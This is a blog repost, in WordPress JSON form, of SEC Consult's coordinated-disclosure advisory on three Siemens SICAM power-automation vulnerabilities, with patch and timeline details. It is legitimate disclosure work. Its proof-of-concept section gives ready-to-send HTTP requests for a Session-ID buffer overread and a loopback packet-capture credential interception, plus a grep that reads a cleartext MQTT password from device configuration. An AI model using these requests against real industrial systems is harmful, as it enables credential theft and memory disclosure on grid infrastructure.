{"id":57902,"date":"2024-07-04T20:40:00","date_gmt":"2024-07-04T17:40:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179354\/SA-20240626-0.txt"},"modified":"2024-07-04T20:40:00","modified_gmt":"2024-07-04T17:40:00","slug":"siemens-cp-8000-cp-8021-cp8-022-cp-8031-cp-8050-sicore-buffer-overread-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/siemens-cp-8000-cp-8021-cp8-022-cp-8031-cp-8050-sicore-buffer-overread-escalation\/","title":{"rendered":"Siemens CP-8000 \/ CP-8021 \/ CP8-022 \/ CP-8031 \/ CP-8050 \/ SICORE Buffer Overread \/ Escalation"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240626-0 &gt;<br \/>=======================================================================<br \/>title: Multiple Vulnerabilities in Power Automation Products<br \/>product: Siemens CP-8000\/CP-8021\/CP8-022\/CP-8031\/CP-8050\/SICORE<br \/>vulnerable version: CPC80 &lt; V16.41 \/ CPCI85 &lt; V5.30 \/ OPUPI0 &lt; V5.30 \/ SICORE &lt; V1.3.0 \/<br \/>CPCX26 &lt; V06.02 for CP-2016 and PCCX26 &lt; V06.05 for CP-2019 in SICAM AK3 \/<br \/>ETA4 &lt; V10.46 and ETA5 &lt; V03.27 for SM-2558 ins SICAM AK3, SICAM BC and SICAM TM<br \/>fixed version: CPC80 V16.41 \/ CPCI85 V5.30 \/ OPUPI V5.30 \/ SICORE V1.3.0 \/ CPCX26 V06.02 \/<br \/>PCCX26 V06.05 \/ ETA4 V10.46 \/ ETA5 V03.27<br \/>CVE number: CVE-2024-31484, CVE-2024-31485, CVE-2024-31486<br \/>impact: high<br \/>homepage: https:\/\/www.siemens.com\/global\/en\/products\/energy\/energy-automation-and-smart-grid.html<br \/>found: 2023-04-03 and 2024-01-12<br \/>by: Stefan Viehboeck (Office Vienna)<br \/>Steffen Robertz (Office Vienna)<br \/>Gerhard Hechenberger (Office Vienna)<br \/>Constantin Schieber-Knoebl (Office Vienna)<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;We are a technology company focused on industry, infrastructure,<br \/>transport, and healthcare. From more resource-efficient factories,<br \/>resilient supply chains, and smarter buildings and grids, to cleaner<br \/>and more comfortable transportation as well as advanced healthcare,<br \/>we create technology with purpose adding real value for customers.&#8221;<\/p>\n<p>Source: https:\/\/new.siemens.com\/global\/en\/company\/about.html<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>The vendor provides a patch which should be installed immediately.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the product<br \/>conducted by security professionals to identify and resolve potential further<br \/>security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Buffer Overread (Only CP-8000\/CP-8021\/CP-8022\/CP-8031\/CP-8050\/CPCX26\/PCCX26\/ETA4\/ETA5, CVE-2024-31484)<br \/>The webserver running on the CP-8050 and CP-8031 is vulnerable to a buffer overread<br \/>vulnerability.<\/p>\n<p>The value of the HTTP header &#8220;Session-ID&#8221; is processed and used in a &#8220;strncpy&#8221; call<br \/>without proper termination. Thus, data structures from the BSS segment will be<br \/>leaked in the response. Attackers might be able to read sensitive data from memory.<\/p>\n<p>2) Privilege Escalation (Only CP-8031\/CP-8050 and SICORE devices, CVE-2024-31485)<br \/>An attacker with an account with the viewer (or higher) role can intercept unencrypted<br \/>traffic of other users of the web interface. Thus, the attacker can intercept higher<br \/>privileged user accounts and passwords and might gain access to their accounts to<br \/>perform tasks with elevated privileges.<\/p>\n<p>3) Unsafe Storage of MQTT Client Passwords (Only CP-8031\/CP-8050, CVE-2024-31486)<br \/>A PLC with the OPUPI0 MQTT application installed is able to connect to<br \/>an MQTT server. The configured MQTT password for the server is stored<br \/>in cleartext on the device and can be read by exploiting a potential<br \/>code execution or file disclosure vulnerability or with physical access<br \/>to the device.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Buffer Overread (Only CP-8000\/CP-8021\/CP-8022\/CP-8031\/CP-8050\/CPCX26\/PCCX26\/ETA4\/ETA5, CVE-2024-31484)<br \/>The buffer overread can be triggered by sending a &#8220;Session-ID&#8221; in the HTTP request header<br \/>with exactly 20 bytes. This can be done with e.g. this request:<\/p>\n<p>POST \/SICAM_TOOLBOX_1703_remote_connection_00.htm HTTP\/1.1<br \/>User-Agent: SICAM TOOLBOX II<br \/>Version: 1<br \/>Session-ID: 3814280BA9921c6cAAAA<br \/>Sequence-ID: 1<br \/>Content-Length: 8<br \/>Content-Type: text\/plain<br \/>KeepAlive: 5<br \/>Connection: close<br \/>type=3<\/p>\n<p>The server answers with following response:<\/p>\n<p>HTTP\/1.1 200 OK<br \/>Server: SICAM 1703<br \/>Version: 1<br \/>Session-ID: 3814280BA9921c6cAAAA\u00e6k\u00a4<br \/>Cache-Control: max-age=0, private<br \/>X-Frame-Options: sameorigin<br \/>Strict-Transport-Security: max-age=31536000; includeSubdomains<br \/>Content-Security-Policy: default-src &#8216;self&#8217; data: blob: &#8216;unsafe-inline&#8217; &#8216;unsafe-eval&#8217;<br \/>X-XSS-Protection: 1; mode=block<br \/>X-Permitted-Cross-Domain-Policies: none<br \/>Content-Length: 71<br \/>Connection: close<br \/>Date: Wed, 30 Mar 2022 01:38:37 GMT<\/p>\n<p>Sequence-ID: 1<br \/>Content-Type: text\/plain<br \/>Content-Length: 8<\/p>\n<p>type=4<\/p>\n<p>The Session-ID in the response leaks at least 4 additional bytes. Further,<br \/>the structure of the response is broken, as some HTTP headers are suddenly part<br \/>of the body.<\/p>\n<p>The vulnerability most likely stems from a misuse of the strncpy function.<br \/>The following code segment was analyzed (RTUM85.elf, Offset 0x1d50de):<\/p>\n<p>ptr_fcgi_header = get_fcgi_param(fcgi_struct, &#8220;HTTP_SESSION_ID);<br \/>if (ptr_fcgi_header == (char*) 0x00) goto LAB_001d4a66;<br \/>if ( is_a_session_available == 0 ) {<br \/>strncpy(&amp;session_id, ptr_fcgi_header, 0x14);<br \/>}<\/p>\n<p>strncpy is called with a length parameter of 0x14. To trigger the vulnerability,<br \/>we are sending exactly 0x14 bytes. Thus, we believe that the global session_id<br \/>variable is never properly terminated with a Null-pointer.<\/p>\n<p>libc&#8217;s documentation even contains a warning for this case:<br \/>&#8220;If there is no null byte among the first n bytes of src, the string<br \/>placed in dest will not be null-terminated.&#8221;<\/p>\n<p>Thus, if the response is built, every data structure in BSS following the<br \/>session_id global will be printed as string until a Null byte is encountered.<\/p>\n<p>2) Privilege Escalation (Only CP-8031\/CP-8050 and SICORE devices, CVE-2024-31485)<br \/>An attacker with an account with the viewer (or higher) role can intercept unencrypted<br \/>traffic of other users of the web interface. Thus, the attacker can intercept higher<br \/>privileged user accounts and passwords.<\/p>\n<p>By starting the Ethernet Packet Capture (Home -&gt; Monitoring &amp; Simulation -&gt; Ethernet<br \/>Packet Capture), a request is sent. This request can be modified by an interceptor<br \/>proxy (e.g. Burp Suite).<\/p>\n<p>POST \/sicweb-ajax\/rtum85\/cview HTTP\/1.1<br \/>Host: HOST<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko\/20100101 Firefox\/108.0<br \/>Accept: *\/*<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate<br \/>Content-Type: application\/xml<br \/>SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT<br \/>Content-Length: 198<br \/>Origin: http:\/\/ HOST<br \/>Connection: close<br \/>Referer: http:\/\/ HOST\/<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;Cmd_SetCustomViewValue&gt;&lt;view id=&#8221;packet_capture&#8221;&gt;&lt;parameter id=&#8221;p0&#8243;&gt;<br \/>&lt;value&gt;lo&lt;\/value&gt;<br \/>&lt;\/parameter&gt;&lt;\/view&gt;&lt;\/Cmd_SetCustomViewValue&gt;<\/p>\n<p>The attacker can then send the parameter id p0 to the value &#8220;lo&#8221; and start the<br \/>packet capture in order to dump from the loopback interface. It is a valid<br \/>interface, as it only consist of lowercase characters and numbers (fix<br \/>for CVE-2023-33919).<\/p>\n<p>However, the webserver implements TLS in a stunnel fashion. It accepts all<br \/>TLS traffic on port 443, then decrypts it and forwards it via loopback interface<br \/>to port 80. By being able to read the loopback traffic, an attacker can now<br \/>see all communication, including passwords of higher privileged users.<\/p>\n<p>3) Unsafe Storage of MQTT Passwords (Only CP-8031\/CP-8050, CVE-2024-31486)<br \/>To demonstrate the issue, the following parameters were set for the MQTT client<br \/>using the Siemens Toolbox II:<br \/>* &#8220;8 MQTT password&#8221; mqtt_pw_sectest<br \/>* &#8220;9 MQTT username&#8221; mqtt_sectest<\/p>\n<p>The password (together with the username) can be located in the<br \/>\/ies\/data\/local\/system\/iescfg.iar file on the device, which can be<br \/>retrieved by shell access\/code execution on the device or by desoldering<br \/>and reading its unencrypted flash memory chip:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>grep -rain &#8220;mqtt_pw_sectest&#8221; \/ies\/data\/local\/system\/iescfg.iar<br \/>[&#8230;]mqtt<br \/>mqtt_sectest.<br \/>mqtt_pw_sectest.<br \/>&lt; \ufffdMQTT_Broker<br \/>[&#8230;]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following version has been tested which was the latest version available<br \/>at the time of the test:<\/p>\n<p>Vulnerability 1 and 2 were confirmed on Siemens SICAM A8000 CP-8031 V05.12<br \/>Vulnerability 3 was confirmed on Siemens A8000 CP-8050 V04.92<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2023-04-18: Contacting vendor through productcert@siemens.com for vulnerability 3<br \/>2023-04-19: Advisory will be handled as case #92461.<br \/>2023-06-13: Siemens releases advisory for other vulnerabilities, see https:\/\/sec-consult.com\/vulnerability-lab\/advisory\/multiple-vulnerabilities-siemens-a8000\/<br \/>2023-10-09: Requesting status update<br \/>2024-04-03: Requesting status update.<br \/>2024-04-04: Unsafe Storage of MQTT password: fix will be released in April 2024,<br \/>Siemens advisory scheduled for May 2024<br \/>2024-04-11: Contacting vendor through productcert@siemens.com for Vulnerability 1 and 2<br \/>2024-04-12: Siemens assigned case #68662 for Vulnerability 1,2<br \/>2024-05-14: Siemens publishes SSA-871704 for vulnerability 1,2,3<br \/>2024-06-11: Siemens publishes SSA-620338 for Vulnerability 1<br \/>2024-06-26: Public release of advisory<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>The vendor provides a patch which can be downloaded at the following URLs<br \/>depending on the affected device:<\/p>\n<p>CPC80 Central Processing\/Communication: The firmware CPC80 V16.41 is present within \u201cCP-8000\/CP-8021\/CP-8022 Package\u201d V16.41<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109812178\/<\/p>\n<p>CPCI85 Central Processing\/Communication: The firmware CPCI85 V5.30 is present within &#8220;CP-8031\/CP-8050 Package&#8221; V5.30<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109804985\/<\/p>\n<p>SICORE Base system: The firmware SICORE V1.3.0 is present within &#8220;SICAM 8 Software Solution Package&#8221; V5.30<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109818240\/<\/p>\n<p>OPUPI0 AMQP\/MQTT: The firmware OPUPI0 V5.30 is present within &#8220;CP-8031\/CP-8050 Package&#8221; V5.30<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109804985\/<\/p>\n<p>CPCX26 Central Processing\/Communication: The firmware CPCX26 V06.02 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109813252\/<\/p>\n<p>PCCX26 Ax 1703 PE, Contr, Communication Element: The firmware PCCX26 V06.05 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109813252\/<\/p>\n<p>ETA4 Ethernet Interface IEC60870-5-104: The firmware ETA4 V10.46 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109813252\/<\/p>\n<p>ETA5 Ethernet Int. 1x100TX IEC61850 Ed.2: The firmware ETA5 V03.27 is present within \u201cSICAM RTUs AK3 Package\u201d V06.02<br \/>https:\/\/support.industry.siemens.com\/cs\/ww\/en\/view\/109813252\/<\/p>\n<p>Additional information from the vendor can be found in their advisories:<br \/>https:\/\/cert-portal.siemens.com\/productcert\/html\/ssa-871704.html<br \/>https:\/\/cert-portal.siemens.com\/productcert\/html\/ssa-620338.html<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>Limit network and physical access to the PLC.<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Stefan Viehboeck, Steffen Robertz, Gerhard Hechenberger, Constantin Schieber-Knoebl \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240626-0 &gt;=======================================================================title: Multiple Vulnerabilities in Power Automation Productsproduct: Siemens CP-8000\/CP-8021\/CP8-022\/CP-8031\/CP-8050\/SICOREvulnerable version: CPC80 &lt; V16.41 \/ CPCI85 &lt; V5.30 \/ OPUPI0 &lt; V5.30 \/ SICORE &lt; V1.3.0 \/CPCX26 &lt; V06.02 for CP-2016 and PCCX26 &lt; V06.05 for CP-2019 in SICAM AK3 \/ETA4 &lt; V10.46 and ETA5 &lt; V03.27 for &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57902","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57902","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57902"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57902\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57902"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57902"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57902"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}